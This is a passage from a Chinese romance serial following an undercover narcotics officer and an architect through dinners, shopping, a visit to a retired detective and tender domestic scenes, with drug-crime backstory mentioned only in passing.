沈宗野打字:「可以,我联系他」 …… 城市华灯初上,在夜色下宛如绚烂的霓虹城堡。 离谢天明的宿舍比较近的一家火锅店里,三个人吃着这顿晚饭。 沈宗野和梁然坐在一头。 谢天明坐在对面,汤里滚滚升起的白烟也遮不住对面两个人眼睛里的笑,谢天明可傲娇了,有种开国元勋的自豪感。 梁然说:“多吃点,沈宗野说你喜欢吃这家的火锅。” 谢天明:“跟我们老家一个口味,嫂子你能吃辣吗?” 锅底点的鸳鸯锅,红汤那边是重辣,梁然吃的番茄汤底,她也会在红汤那边夹菜,但是吃得太辣了会忍不住咳嗽。 这会儿又吃了一块谢天明推荐的麻辣牛肉,忍不住捂着纸巾咳起来。 沈宗野连忙给她倒一杯西瓜汁:“吃不了就别听他的。” 谢天明也忙把大麦茶水递给梁然。 梁然恢复过来,这顿饭吃得算是热火朝天,她脸颊一片红潮,灯下皮肤格外莹白。 梁然聊起:“还不知道你叫什么名字,谢天明也是化名吗?” “是啊,我真名太响亮了,嫂子还是随便叫我吧。”谢天明说。 沈宗野告诉梁然:“他真名叫谢帅帅,是很响亮。” 谢天明瞬间炸毛了,本来就觉得他自己的名字不够英勇,所以每次卧底回来都会用上好久的卧底名:“沈哥你别有了媳妇忘了兄弟,小心我找嫂子揭你老底。” 沈宗野继续说:“谢帅帅嫌他的名字不够硬气,每次在局里都听不得别人喊他帅帅,必须喊他谢帅。” 梁然弯起唇。 谢天明看沈宗野看得咬牙切齿:“你信不信我马上揭你老底!” 沈宗野很无辜地看着他:“你还想吃什么,我用食物堵你的嘴。” 梁然忍俊不禁。 这顿饭愉快地进行到尾声,沈宗野起身要去结账,梁然说:“我来吧。” “没事,我去。” 梁然没再和沈宗野坚持。 谢天明回头看了眼沈宗野,笑着对梁然说:“嫂子,能看到你们现在这样我真的替沈哥感到高兴,当然我也很佩服你,你真的很勇敢。” 梁然觉得有愧:“我不算一个勇敢的人。” “哪有,我们办案会遇到很多受害者家属,他们都很恨毒贩,但是没有人像你这样勇敢。” 梁然:“但我的事迹也不值得被宣扬,我是反面列子。” 谢天明笑起来。 那边收银台排着几人在结账,沈宗野还等在后面。 谢天明看着沈宗野的背影说:“嫂子,向邬道知道你多少事?” 梁然不太明白。 谢天明:“向邬道是不是知道你的信息,或者能查到你的真实信息?” 梁然想了想:“他知道我在南城曾经念过的大学,想查的话也算容易。”梁然不明白谢天明问这个做什么,“沈宗野告诉我他很早就被捕了,在转运的途中被一辆货车撞到了他乘坐的警车,当场身亡。这是毒贩的灭口手段吧?” 谢天明点头:“他是没了,被灭口了,但是他本来不会这么早落网,是因为沈哥。” 谢天明将沈宗野为了梁然的安危才提前布局,亲手把向邬道抓捕的事告诉了梁然。 谢天明还想揭沈宗野的老底,想说沈宗野那根残疾的大拇指,但他话到嘴边,还是觉得说完之后似乎只剩下道德绑架的意义了。他犹豫了下,没有再说出真相。 沈宗野也结完账回来,手上拿着收银员送的一瓶AD钙奶,他递给谢天明,谢天明笑着接住。 离开的车上,梁然闭着眼睛。 沈宗野开着车,偏头看了她一眼,知道她没有睡着。 等红灯的时候,他的手牵住梁然,指腹一下一下抚过梁然的手指,十几秒的信号灯变换,安静又漫长,他松开手,在绿灯亮起时认真开起车。 梁然睁开眼睛。 沈宗野说:“困了?” “嗯,碳水吃多了,有点犯困。” 沈宗野:“还有十几分钟就到了。” “我不想回去,先去商场吧。” 沈宗野将车开进商场的车库。 下车前,他想了想,还是戴上了一只口罩。 梁然失笑:“是怕被坏人看到你的样子?” 沈宗野点点头。 他是怕拖累梁然。 梁然笑着说:“那给我一只,我也戴。” 他们两个人戴着黑色口罩,梁然还将太阳镜掏出来架上,毕竟两人外貌条件实在优秀,走进专柜有种名人低调来扫货的架势。 梁然走进了男装区,在挑拖鞋。 沈宗野说:“不用买这么贵的。” 梁然犹豫了下,还是尊重了沈宗野,走出专柜,换了一家店。 但沈宗野却在一家专柜门外望见一条蓝色的长裙,他牵着梁然走进去。 “你试试。” 梁然好笑:“给我买吗?” “嗯。” 梁然大大方方看了眼吊牌,1后面还有四位数,她不太想花沈宗野的钱。 沈宗野已经在让柜员找她的尺码。 梁然没有拒绝他的好意,去试了这条裙子。 是条连衣裙,上半身是白底蓝黑格子,拼接着下身干净的蓝色长裙,梁然穿着很合身,完全是她身上高知清冷的气质。 只是这么一条裙子就要花沈宗野这么多工资,梁然于心不忍。 拎着裙子离开时,沈宗野又给她挑了一款包,有点像之间老万被捕那晚,他扯断了链条的那个包包。 梁然小声地问沈宗野:“诶,你不会把以前所有的事情都记得吧,你记忆力这么好?” 沈宗野轻轻挑眉。 梁然还是小声地说:“这个包包要你好几个月工资了,我不想买,我包很多。” “我有钱。”沈宗野说。 拎着盒子走出店,梁然终于对沈宗野充满疑惑:“你一个月到底多少工资啊,干缉毒很挣钱吗?” 沈宗野好笑,干缉毒当然不挣钱,但是他这些年没地方花钱,他自己也没有物欲,这么花钱买东西还是挺开心的。 “你回答我。” “我念警校的时候寒暑假就去赚钱了。” “做什么赚钱?” “当家庭教师,教格斗,防身术。参加比赛,教人射击……” “还教人射枪?” “射箭。” “你还会射箭?”梁然眼里有些惊艳。 沈宗野难得在她眼里看到这么丰富的神态变化,愉悦地勾起薄唇。 经过一家名表专柜,梁然拉着沈宗野要进去。 沈宗野说:“给我买?我有手表。” “可我想送给你25岁的生日礼物。” 沈宗野一怔,笑着说:“那就把之前送给我的给我吧。” 梁然看着他,轻轻笑了起来。 回到梁然的家,葡萄早就在门口守着他们,竖起的尾巴扫啊扫,愉快地叫了好几声。 梁然拿出刚买的男士拖鞋让沈宗野换上,又去盥洗室里摆放好他的电动牙刷,她选的剃须刀。 添置好沈宗野的用品,她重新拿出了沈宗野之前还给她的那个盒子。 她最先拿出来的竟然是那条沉香珠串,那六颗蓝色翡翠在灯光下寒光凛凛。 她将手串戴在了沈宗野手腕上。 沈宗野抿起薄唇。 梁然打开那只手表:“再送你这个会不会不太好啊?” “不会,你当初本来也是送给我的。” 梁然弯起唇。 “你最近休假,就在我这里住吧,等你上班再说。” 沈宗野:“嗯。” 梁然又去书房打开电脑,处理了两份文件才回到卧室。 沈宗野正洗漱完,从盥洗室出来,他发梢有些湿润,系着梁然今晚买的浴袍。 梁然喜欢看沈宗野系腰带时抿着薄唇,下颔微昂的样子,她喜欢他行走间肆欲张驰的肌肉线条。 梁然站在房间里,就这样望着沈宗野。 他停在她身前,理了理她耳边的卷发,抿起薄唇将她抱到床上。 他关了灯,安静地拥抱起她,手臂完全将她圈在怀里。 梁然在漆黑里抬起头。 沈宗野亲了亲她额头:“晚安。” 梁然挑起眉,他这么克制的吗? 似乎是感应到了梁然的想法,沈宗野下颔抵着她额头:“你……你还疼吗?我怕你会疼。你昨晚没睡好,先睡吧。” 因为疼痛,梁然昨天晚上疼出了眼泪,而沈宗野当时后知后觉,竟没有第一时间往那方面想。 他离她太近,那股低沉的嗓音撞击在喉头,声音有一点嘶哑与克制。 梁然打开了灯。 沈宗野被光刺得眯了眯眼。 梁然扯掉他浴袍的腰带。 沈宗野睨着她,眼眸有危险的气息。 梁然却只是看着那条伤疤,刀口很深,流过很多血,谢天明说他是设计去抓向邬道才受的伤,为了她。而昨天晚上,她也才看到沈宗野腿上也有很多伤口,她问他,他全都只是说抓捕时落下的。 沈宗野似乎察觉到了她眼神的不寻常,系上了浴袍,遮住那条瘢痕。 梁然挑起眉:“钓鱼执法?” “你上级知道你这么干吗,还是你们总局权力这么大,可以钓鱼执法?” 沈宗野听完就知道是谢天明透了他的底。 他淡淡说:“谁说是钓鱼,他们做尽坏事,我是在执法,我也正常过了豁免审查。” 梁然看着沈宗野,眼里还是有些气恼。谢天明说如果不是向邬道将她捅到了董自新那里,让董自新对她起杀心,沈宗野也不会犯这个忌讳。 她说:“以后别再这样了,我不想背负你这么重的行为。” 沈宗野点头。 他把视线垂下,不再敢看她。 梁然忽然觉得是不是她说的话过于冷血。 她沉吟了片刻:“我不是在责怪你,向邬道也只是知道我以前念的大学,跟我并不熟。” 沈宗野转移话题:“你以前那个发小,还有印象吗?” “嗯。” “她不是被吸毒的人随意在水杯里偷放了药,是向邬道做的。”沈宗野说。 那次向邬道及其手下被抓,但查不出向邬道贩卖大批毒品的罪证,几名手下就觉得可以趁机逃过死刑,供出了向邬道的罪行,其中就有关于梁然那个发小许希希的事。 许希希和另一个女同学的水杯里被加了药,都是向邬道默许的。 当时向邬道的场子不景气,就默许手下人干这种行为,钱赚得差不多了,准备收手时向邬道的手下看到许希希,觉得她一身名牌应该是富家女,这才拉了她下水,事后卖给许希希的药价钱也是暗中翻倍。向邬道当时觉得许希希家里太有钱,怕弄出事,才和她谈起恋爱,以爱的名义控制她。 梁然听完,沉默了好一会儿:“在宁城见到向邬道后我就猜到了,今年过年,我听到老宅的邻居说希希走了。” 许爸许母即便破产了也在寻找下落不明的许希希,后来在海边捡到许希希的鞋和遗书。 梁然虽然很早就放下了对许希希的友情,但那毕竟是发小,她们从小一起长大,一起度过了童年和奇妙的青春期,即便后来感情被许希希一次次复吸折腾得差不多了,现在听到她的消息,梁然还是会有些压抑难受。 沈宗野抱住梁然,侧身将她揽到胸膛里。 梁然在他手臂上安静躺了会儿,忽然问起:“沈宗野,你为什么做缉毒警察?” 沈宗野微顿:“我爸爸是这个职业。” “你受你爸爸的影响?” “嗯。” “那你爸爸一定是个很优秀的缉毒警察吧。” “是的。” 沈宗野没再说什么,他把他的行为都守在梁然划给他的这个圈里,不越界。 他说:“梁然,睡吧,晚安。” 第86章 第86章“哪天我们分开了你会难…… 有了沈宗野在家里,季阿姨都不用再接手早餐的工作,梁然睡了一个超饱的觉,早起时看到餐桌上又是沈宗野做好的早饭。 葡萄和季阿姨都不在家,应该是下楼去玩了。 沈宗野在厨房洗手。 梁然身上还是慵懒的睡裙,穿过岛台,从背后抱住沈宗野。 他回头看见她,眸底的笑意似乎越来越浓烈。 梁然:“你笑什么?” “你刚睡醒的样子有点好笑。” 梁然探出头绕过沈宗野肩膀,去看厨房光亮的墙壁,大理石上的人影哪里好笑了。 沈宗野忽然捏住她下巴,吻了她的唇。 他长驱直入地侵略,直到梁然气息有些急促才将她松开。 沈宗野眸底依旧带着浓烈的笑,他是觉得早起的梁然很可爱。 他以前没有在她身上见过这种可爱的气质,她永远悬于高处,是一轮不可指摘的月。 吃过早餐,沈宗野说:“你今天晚上正常下班吗?” “嗯。” “那我不能来接你了,我下午要去看望一个前辈,会在那里吃饭,可能得晚点回来。” 梁然点头:“我知道了,你先忙。” 梁然依旧由沈宗野开车送到了公司,乔思嘉也刚好开车停在他们后面,沈宗野便下车跟乔思嘉打了个招呼。 进到电梯里,乔思嘉眼神有些暧昧:“我看你今天精神状态蛮不错嘛。” “嗯,昨晚睡得比较好。” 乔思嘉眼神更暧昧了。 梁然后知后觉,给了乔思嘉一记白眼。 忙完一上午的工作,中午两人在楼下餐厅吃饭时,乔思嘉看着手机,一边回江凛的微信,一边跟梁然说:“江凛他们到了,我没请假过去,我想你应该也不会去。” “什么?”梁然问。 “江凛和沈淮宗去看一个前辈啊,早上江凛问我要不要一起去,沈淮宗没叫你吗?” 梁然才想起来:“他跟我提了。” 不过沈宗野没有邀请她去,他好像很明白她定的界限,不会给她造成任何人际关系上的困扰。 乔思嘉却听成是沈宗野也邀请梁然一起去了。 乔思嘉说:“今天周五嘛,我不想撇下工作去,明天江凛老师的女儿结婚,我再和他去参加婚礼。” 梁然没说什么,吃着盘子里的西蓝花。 乔思嘉问梁然:“你说我送什么礼物好?” “送红包。” “红包要送,我是想再挑选个礼物嘛。这是江凛的射击老师,江凛是他的得意门生。” 梁然推荐了几样礼物,冷静干练得像处理工作。 乔思嘉忽然后知后觉,似乎在她说起江凛发来微信告诉她他们到了时,梁然是没有收到沈宗野发来的报备微信的。 乔思嘉小心翼翼地问:“沈淮宗没有给你发信息啊?” “发什么信息?” “他们不是到了地方嘛,沈淮宗不跟你报备?” 梁然觉得报不报备无所谓,沈宗野接受他们这段关系就足够了,他的人际圈子不需要跟她报备太多。 乔思嘉似乎有点生气,觉得沈宗野冷落了梁然。 梁然却反笑:“我觉得无所谓啊,我不干预他,他也不要干预我。如果他过多地干预我的生活,反倒触碰了我最开始的界定。” 即便乔思嘉思想也挺开明的,也还是会震撼于梁然这种想法。 “然然,你把他当炮。友吗?” “当然不是。”梁然很认真地给出答案,“难道感情一定要爱得难分难舍吗,我觉得维系在愉快的层面就足够了。” 如果一段感情关系弄得太复杂,梁然不一定觉得那是愉快的。 回到办公室,梁然展开脚踏,短暂地在座椅上休息。 她看了眼微信,沈宗野的确没有给她发来过消息。 直到她午睡了半个小时醒来,置顶的沈宗野竟有三条信息发来。 梁然点开他的头像。 沈宗野发来两张照片,一张照片是一只超胖的橘猫,一张是一只大黄狗。 照片里有蓝天白云,墙角结满果子的李子树,阳光很热烈。 沈宗野:「猜猜它们谁叫雪糕,谁叫可乐」 梁然轻轻抿起唇,打字:「猫咪叫雪糕,狗狗叫可乐?」 …… 梁然的消息距离沈宗野发给她的时间间隔了有半个小时。 沈宗野已经在后悔消息不能撤回了,他觉得他打扰了梁然工作。 这趟他是和江凛一起来的,见的是他们一个叔叔,是他们爸爸的好友。 中午一起过来时,江凛一见到他就说:“她们俩看来是约好了要好好工作。” 其实江凛不知道,沈宗野压根没邀请过梁然一起过来。 他很清楚他和梁然的关系,守着她制定的规则。 直到终于收到梁然的回复,沈宗野才松了口气。 他有些好笑地抿起唇打字。 「猜对了」 梁然:「需要我晚上来接你么」 沈宗野微怔,梁然的消息回得很快,也让他有些意外。 他说:「不用,我自己开车」 梁然没再回复他,直到傍晚才回他刚刚在忙。 沈宗野让她下班早些吃饭,视线重新回到饭桌上。 对面端坐的是沈知培和江凛爸爸的老同学程卫军,他们三个年轻时是最好的朋友。程卫军是一名出色的刑警,因为身体原因才在几年前从岗位上退下来,现在在郊区住着老房子,猫狗双全,养花养老。 院子里升起一轮明月,桌上是程卫军做的鸡鸭鱼肉。他和沈宗野喝着杯子里的白酒,偶尔聊到尽兴处,会和旁边给沈知培倒的那杯酒碰一个。 江凛不方便喝酒,就喝着果汁。 吃过饭后,程卫军摘了很多院子里的李子要江凛抬上车。 江凛在搬东西,程卫军在和沈宗野聊天。 他看着沈宗野那根残缺的大拇指,眼里有心疼,说起以前的事:“还记得你暑假陪我出任务的时候么,那时候你还给我提供过不少线索。” 那时候程卫军很照顾沈宗野,也有心带他历练,办案子总是把沈宗野带到身边,沈宗野虽然那时还只是警校的学生,但也真帮过他不少忙。 程卫军说:“小崽子,后悔吗?” “后悔什么?” “当初我劝你跟江凛一样干个刑警,你非要走你爸爸的路,现在一根手指没了,后悔吗?” 沈宗野说:“不后悔,选择这条路的时候我就不会再回头。” 程卫军一笑,杵着拐杖,抽起烟:“江凛说你也谈恋爱了,哪天你们俩把女朋友带来,我给参谋参谋。” “有什么好参谋的,你是个老光棍。” 程卫军脸色一沉,操起拐杖就要打在沈宗野身上,沈宗野闪得很慢,但再慢的速度对瘸着一条腿的程卫军而言也是追不上。 沈宗野:“你自己都没经验还想劝后辈?你先谈个阿姨再说吧,我听江凛说你隔壁的阿姨就挺中意你。” 程卫军早年是谈过一个女朋友的,女方也是刑警,在卧底查案的过程中被凶手杀害,程卫军这二十多年便没有再谈过感情。 正说着,隔壁的阿姨就进门来了,朝院子里张望一眼说:“你这两个侄子是真标致,不是说带女朋友来吗? 阿姨手上还有两捧栀子花,原本是想送给他们带来的女朋友。 “那你们将花带回去,乡下没什么好东西,别嫌弃。” 沈宗野收下了花,阿姨走后,沈宗野说:“我看这位阿姨人不错,您可别再孤家寡人了。” 江凛搬完李子,说明天来接程卫军去参加婚礼。 两人和程卫军打完招呼,开车离开了僻静的城郊。 江凛将沈宗野在梁然的小区附近放下,如今很替沈宗野感到欣慰:“好好对梁然,嘉嘉以前说她原本是不接受缉毒警察这个职业的,既然愿意为了你改变,你要担起责任,以后别一个劲往死里冲。” 沈宗野抿了抿笑,下了车。 他没解释。 站在绿野之上的人本来就只能仰望月亮。 楼下那家装修高档的糖水铺还在营业,今晚有些起风了,沈宗野进去点了一杯雪梨无花果糖水。 顾欣让他先坐,店里人不多,顾欣一边和沈宗野交谈:“是梁然告诉你她喜欢喝这款糖水的吗?” 沈宗野说不是。 顾欣笑:“那你好像很了解她,她每次点的都会是这款糖水。”只有在生理期才会换成红糖姜茶。梁然是顾欣开店以来一直光顾的老顾客,又在同一栋楼住,顾欣对梁然印象极深。 沈宗野听到这句话倒是有些意外。 他也才知道上次梁然接过这杯糖水时为什么会很愉悦,不是因为他记得她吹风了会偏头痛,是因为他买了她最喜欢的口味。 顾欣看到沈宗野手上的东西:“这附近有卖栀子花和李子的吗?” “没有,朋友院子里摘的。”沈宗野将李子拿了一些放到桌上。 顾欣忙说他太客气。 沈宗野说:“上次谢谢。” 顾欣是个很聪明的人,看到他如今的状态已经能猜到他和梁然的关系,女生的脸上是由衷的高兴。 结账时,顾欣说:“我用梁然的会员卡结账吧?她在我这里有会员卡。” 沈宗野输入金额的手指顿住:“卡里还有多少钱?” “我看看。”顾欣查着系统,“还有五百多元。” 沈宗野看了下价目表上的会员规则,删除了刚才的付款数字:“她平时都充值多少?” 顾欣微怔,帮沈宗野查着消费金额,梁然从店铺开业到如今,充值过三笔,每次充值三千。 沈宗野于是付了一万的金额:“帮我充到她卡里吧,谢谢。” 顾欣微怔,笑着说:“你们的气质很配。” 门外停下一辆银灰色的豪车,司机下车后绕到后排打开车门。 从后车厢下来的男人西装革履,这个盛夏还穿着西装的人不多,男人的头发梳得一丝不苟,气场颇有些矜贵强势。他睨向顾欣,淡淡走进店中。 顾欣敛下了笑容,将打包袋递给沈宗野。 沈宗野说了谢谢,经过那个男人,余光里看到笑脸相迎的顾欣冷下脸在赶人,而男人按捺着不耐的语气淡淡说“别任性,我的耐心有限”。 沈宗野不去探究别人的故事,他们看起来是一对关系特殊的情侣,眼里都有着纠葛的爱意。 他回到梁然的家,客厅里亮着灯,卧室房门透出灯光,梁然今早出门穿的那双高跟鞋摆放在鞋柜里。 沈宗野穿过客厅,葡萄跟在他身后跑。 “你回来了。”梁然从卧室里出来。 她穿着一条袖子宽大的睡裙,柔软的棉质睡裙长到遮住脚裸,让她很像从田园油画里奔跑出来的少女。 沈宗野俯身抱住了梁然,梁然每天用的香水都不一样,但那股兰香寂雪的味道始终萦绕在她身上。 “你喝酒了?” “嗯,陪程叔喝了一点。” “是你亲戚?” “不是,是我爸的好友。” 梁然没问其他,视线穿过沈宗野肩膀看到桌上他带回来的东西。 她最先高兴的那不是那杯她喜欢的糖水,而是那捧洁白的栀子。 “好香,在哪里买的啊?” “程叔的邻居,一位热心的阿姨送给你的。” 梁然捧起花,鼻尖凑到绿白相间的栀子中,她整个人都笑了起来。 窗外仍旧是有月亮的夜晚,沈宗野舍不得新的一天到来。 他不敢告诉梁然他会害怕。 害怕新的一天他们之间不会是今天的关系。 这场由她制定的规则里,他只能把每一天都当做最后一天来过。 沈宗野从背后抱住梁然,紧实的手臂圈在她细腰上,他亲咬她耳垂,梁然呼吸有些急促。 她回头,微微挑眉:“你洗澡了吗?” 沈宗野捧着她的脸狠狠亲吻下去,直到梁然喘息地咬了他嘴唇。她的桃花眼里盈满笑意,睫毛颤动,有娇嗔的甜流露在眼尾。沈宗野喉结滚动,对着她也笑了起来。 他洗过澡出来,梁然不在客厅和卧室,坐在书房里工作。 电容笔下是一座圆形建筑的线稿,梁然画得很认真,沈宗野没打扰她。 直到梁然把手边那杯雪梨无花果糖水都喝完了,才合上电脑。 落地灯的光铺在桌面上,梁然看了眼时间,晚上十一点了。 她说:“等很久了吧,不好意思。” “这么客气。”沈宗野眉弓微挑,绕过书桌走到梁然身旁。 他俯下身将她圈禁在狭窄的领地,紧望着她的样子,手指抚过她卸妆后干净的皮肤。 梁然的唇微微张合着:“沈宗野……” “我怎么叫惯了你这个名字。” “没关系,我知道你叫的是我就够了。” 沈宗野将梁然抱到了桌上,他坐在她这把办公椅上,长腿舒展,向他的月亮仰起头颅。 从书房到卧室,月光落了一地。 梁然几乎被这场盛大的月光碾碎,眼尾染着湿红的泪痕。 沈宗野有些愧疚,眼眸微垂,吻了吻梁然手腕。卧室的床已经不能睡了,沈宗野将梁然抱到客卧干爽的床上。 梁然缓了很久,虽然她体验过了之前那些玩具,他们也发生过第一次,但都远不及今晚这场盛大的月光…… 梁然对沈宗野多了几分好奇。 “沈宗野,你以前谈过恋爱吗?” “没有。” 梁然有些意外:“你……也是第一次?” “嗯。” 梁然挑起眉,眼里有些揶揄。 沈宗野:“怎么了?” 梁然有些想笑,忍着笑意认真地给出结果:“那你很厉害呢。” 沈宗野喉结滚动,眼眸灼烫。 灯光昏暗的房间里看不到他发红的耳朵。 梁然在睡前问他:“哪天我们分开了你会难过吗?” 沈宗野顿住,圈在梁然腰间的手臂一点点收紧,他状若无事,低笑说:“怎么这么问,我们才刚刚在一起。” “梁然,那你会吗?”一段沉默后,沈宗野问。 梁然已经侧过身睡着了。 第87章 第87章可爱 和沈宗野在一起后的每一天,梁然发现她的睡眠开始变得格外好,是那种宁静放空的睡眠,即便白天工作再忙,梦里也不会再有一堆工作上的糟心事。 她的偏头痛好像发作得少了,不知道是南城盛夏的天气,还是因为沈宗野经常带给她的雪梨无花果糖水。 周五这天傍晚,沈宗野在厨房做饭,梁然打完和梁悦的电话走进厨房,岛台上摆放着沈宗野做的咖喱牛肉、可乐鸡翅,锅里煨着菌菇汤,沈宗野修长的身躯将她这间厨房都像抬高了一个档次。 梁然走进厨房,锅里的笋尖看着很有食欲。 “可以吃了吗?” 沈宗野被她的眼神逗笑,夹了一块喂给她:“小心烫。” 梁然说很脆。 她站在厨房,有些出神。 沈宗野:“在想什么,工作上遇到难题了?” “小看我。”梁然说,“是我妹妹打的电话。” “你妹妹暑假没和你在一起?” “我给她报了很多兴趣课,她有滑轮比赛,还有舞蹈课和钢琴课要上。”梁然说,“刚刚打电话来告诉我她们的滑轮队拿了第一,再过一周就能来南城跟我过暑假了。” 沈宗野说:“那你提前告诉我,我回我那里。” 梁然一笑:“你还挺自觉。” 她说:“这是不是变相的赶你走啊?” “当然不算。” 梁然在沈宗野的低笑里抿起唇,将头靠在沈宗野肩膀上,她的眼神有些游离。 沈宗野察觉到了她的失神。 “梁然。”他什么都不说,只是低声叫她的名字,那股磁性的声线格外有温度。 梁然说:“我是在想,好像从我爸爸走后我从来没有睡过这么安稳的觉。” “最近这一周我每天都睡得很好,沈宗野,谢谢你。” 这顿晚饭还没做好就来了蹭吃的不速之客,乔思嘉和江凛。 乔思嘉一直在江凛的公寓里住,今天是回这边小区取点东西,两人讨论晚饭吃什么,江凛就打赌梁然这里一定有好吃的。 这会儿见到桌上丰盛的菜,乔思嘉问江凛:“你知道沈淮宗会做饭?那这个赌你是故意赢我的,不算不算!”她又为难起江凛,“为什么沈淮宗都会做饭,你就不会?” 江凛说:“因为我可没他那么不幸的童年,我不用照顾家人。” 乔思嘉疑惑地看向梁然和沈宗野,怕江凛提及的话题惹人不愉快。 沈宗野倒是自顾自加了个菜,没回答。 梁然虽然听到了,也不会主动过问沈宗野有什么不幸的童年,为什么会做这么多好吃的菜。 对梁然来说,她忌讳沈宗野职业的危险性,她不会让自己沉沦。 所以她不想过多地参与到沈宗野的生活里,而了解他的过去和将来于她而言不是必要,他愿意说,她就听;他不愿意说,她也不会觉得失望。 梁然很清醒,即便在沈宗野进入到她身体里,亲吻她的额头和手腕,那么温柔地叫她的名字时,她也不会忘乎自我地沉溺。 她和沈宗野只拥有现在。 当事人不聊这个话题,江凛便也不再继续说下去。 “你们喝点什么?”梁然去酒柜里找酒。 乔思嘉要喝鸡尾酒,梁然拿出两瓶龙舌兰和金酒。江凛在问乔思嘉的口味,去岛台调配起酒水。 沈宗野做完了菜,帮江凛捣了金桔放在酒杯里。 四个人吃起这顿晚餐,今晚是沈宗野和江凛难得能一起饮酒的时间,沈宗野在假期,江凛明天也过周末。 江凛说要不醉不归,但调配出的鸡尾酒顶多就二十几度,对梁然和乔思嘉来说都不会喝醉。 江凛说起小时候和沈宗野去赶海的趣事。 沈宗野只是淡笑。 乔思嘉好奇:“所以你们俩小时候都生长在宁城?” 沈宗野点头。 江凛说:“我上次都跟你提过了,你能不能对我走点心?” 江凛和乔思嘉的相遇是因为当时去宁城追凶,他老家在那里,对当地比较熟悉,局里才把当时那个案子交给他,他也才能在宁城受友人嘱托,代为照看一下乔父当时那个案子,顺道在飞机上保护乔父一行人,结识了乔思嘉。 乔思嘉说她可能没听清,当时忘了嘛。 她说这话时语气娇嗔,很是乖巧温柔,江凛的气一下子就消了。 而梁然望着他们,忽然很是羡慕乔思嘉。 她实在做不到这样温柔地撒娇,她甚至是那种连痛了都不会喊疼的人,甚至上次和沈宗野再遇之后,他以要回局里拒绝了她的挽留,她明明是有气的,却依旧那么平静。 梁然望向沈宗野,也才发现他正看着她。 她晃了晃杯子里的酒,抿起轻笑:“以前没有听你说你是宁城人。” 那时候是沈宗野在办案,他们俩互相忌讳着彼此,他怎么可能会暴露。 沈宗野淡笑:“你去过我家乡。” 梁然疑惑。 “我家乡在阳城。” 是他们去找观音像的那个小城。 乔思嘉凑到梁然跟前:“你们俩在聊什么,然然怎么去过阳城?我都没去过。” “我在宁城呆了这么久。”梁然解释。 乔思嘉的酒喝完了,她要换一种基酒,起身去岛台鼓弄,江凛起身去帮她。 梁然和沈宗野坐在餐厅,落地窗外的城市缀着无比绚烂的霓虹光影。 梁然问:“那你后来为什么生活在南城?” “我爸的工作调动,我们一家跟着来了。” 梁然点了点头:“江凛也是?” “嗯。” 梁然想起了阳城的博物馆,除了那尊观音像,她还记得那扇《清王尔烈七十寿屏》,那时候她是为什么会觉得沈宗野会送给她七十大寿的礼物,是那时候带着仇恨蛰伏起来的勇气? 此刻,她托着下巴看着沈宗野,灯光下的他英隽又散发着迷人的野性,明明他是个极克制的人。梁然忍不住莞尔,直到此刻她才觉得她从前那些笃定都过于理想化,全是她自己的想法。 那些都不是她预料之中的幸运,不是她的运气好,是沈宗野的慈悲。 乔思嘉端着新调的酒回来了,和梁然碰杯,聊起她们新接的文化公建项目。这是工作室设计的第一个美术馆,如果成果满意,甲方还有大型的住宅楼项目愿意交给她们,这个项目几乎决定了她们未来事业的发展,两个人都很重视。 梁然的酒喝完了,沈宗野起身去帮她调酒。 江凛转身靠在岛台的大理石上,看着乔思嘉和梁然,问沈宗野:“你刚刚什么情况,怎么和梁然谈起恋爱后连话都变少了。” “我没明白你的意思。” “我说你怎么刚才都不接我的话?”江凛说,“我说咱俩老家都是宁城的,你不接话,我看梁然明明不知道你小时候的经历,你们俩难道不聊彼此的小时候吗?” “过去有什么好聊的。”沈宗野握着金属镊子,夹起冰块,语气没有波澜。 江凛盯着沈宗野看了好一会儿,冷笑一声:“呵,你是在毒贩身边卧底久了,还是和梁然在一块儿后改了性子?我怎么不知道你性格都变了。” 沈宗野不想让江凛对于他和梁然这段关系追着不放,江凛是个极聪明的人,沈宗野低笑绕开话题:“我们刚刚聊了悄悄话,为什么让你听见。酒好了,你喝哪种?” 这顿愉快的晚饭在晚上十一点时结束。 大家都没有喝醉,酒不过是增加气氛的点缀,不过梁然有些微醺倒是真的。 沈宗野让她别下楼了,他起身将江凛和乔思嘉送到了车库。 代驾打来电话,说刚才走错了路,请他们再等五分钟。 沈宗野便在车库陪着他们一起等。 乔思嘉却将江凛塞进了车厢里,单独示意沈宗野和她走到一旁。 “沈淮宗,我看然然和你在一起之后身上多了一种通情达理的气质,你觉得呢?” 沈宗野失笑:“她一直都很通情达理。” “不是,我是说她现在的情绪起伏都比从前明显多了,至少我好几次和她聊你时她会露出笑。” 沈宗野耐心听着,意识到乔思嘉可能是有话对他讲。 果然,乔思嘉问他:“你有看到然然沉默起来时那双眼睛吗,我看了都心疼。” 沈宗野看到了,在乔思嘉向江凛撒娇,梁然看着这一幕时眼里会有他读不懂的情绪。她有些黯淡,像他第一次在怀城撞到她时,那股游离在世界外的冷寂。 乔思嘉说:“然然一直都有一个遗憾,也是她最痛苦的事情吧,她错过了和她妈妈的最后一面。那个时候她15岁,他们画室一起去了长白山玩,然然的妈妈就是在那个时候出的事,她救了一个轻生的女孩子,但自己溺水感染了肺部,然然在那时候明明接到了阿姨的电话,但是她没听出来那是阿姨说的最后一句话……” 那也是沈茹最后的心愿,她在临死前都没有见到梁然最后一面,呼吸衰竭时,她勉强睁过一次眼睛,去看门口,还是等不到梁然回来。 酒意上头,乔思嘉把这些话都说完:“好像从那以后她见风就会偏头痛,这个病跟随她很多年了,在国外时我也和她去看过医生,但查不出原因,医生让她去心理科治疗,心理治疗的钱交了一笔笔,但还是不起效果。” “可我看见然然和你在一起后好像变得快乐了很多,沈淮宗,不管你们能走多远,请你一定多对她好一点,行吗?” 沈宗野不知道梁然这段经历,他只记得王局那次查完梁然的信息,在电话里提过一句梁然双亲已故,他不知道她妈妈原来是这样走的。 而他一直以为是宁城的风太过凛冽,是她的体质太娇弱才会有偏头痛的毛病。 揣在兜里的手紧紧握了握,沈宗野眼眸深邃:“你还可以告诉我什么,关于她的事,我不知道的事?” 乔思嘉正在回想,江凛降下车窗喊她:“还要说多久?你男朋友在这里。过来,代驾都到了。” 乔思嘉回头对沈宗野说:“我要说的也没有别的了,就是每次看到然然这样我会替她难过,我当然也希望她开心一点。” 明明乔思嘉是知道梁然和沈宗野这段关系的,但乔思嘉觉得沈宗野是可信的人,如果今天梁然谈的男朋友是个富二代,是一个跟梁然一样只把感情拿来及时行乐的人,那乔思嘉绝对不会公开梁然的痛点。 沈宗野点点头:“谢谢你和我说这些。” 乔思嘉坐上车离开,江凛喊沈宗野回去。 沈宗野乘电梯回到楼上。 餐桌上原封不动,摆满空盘和酒杯。 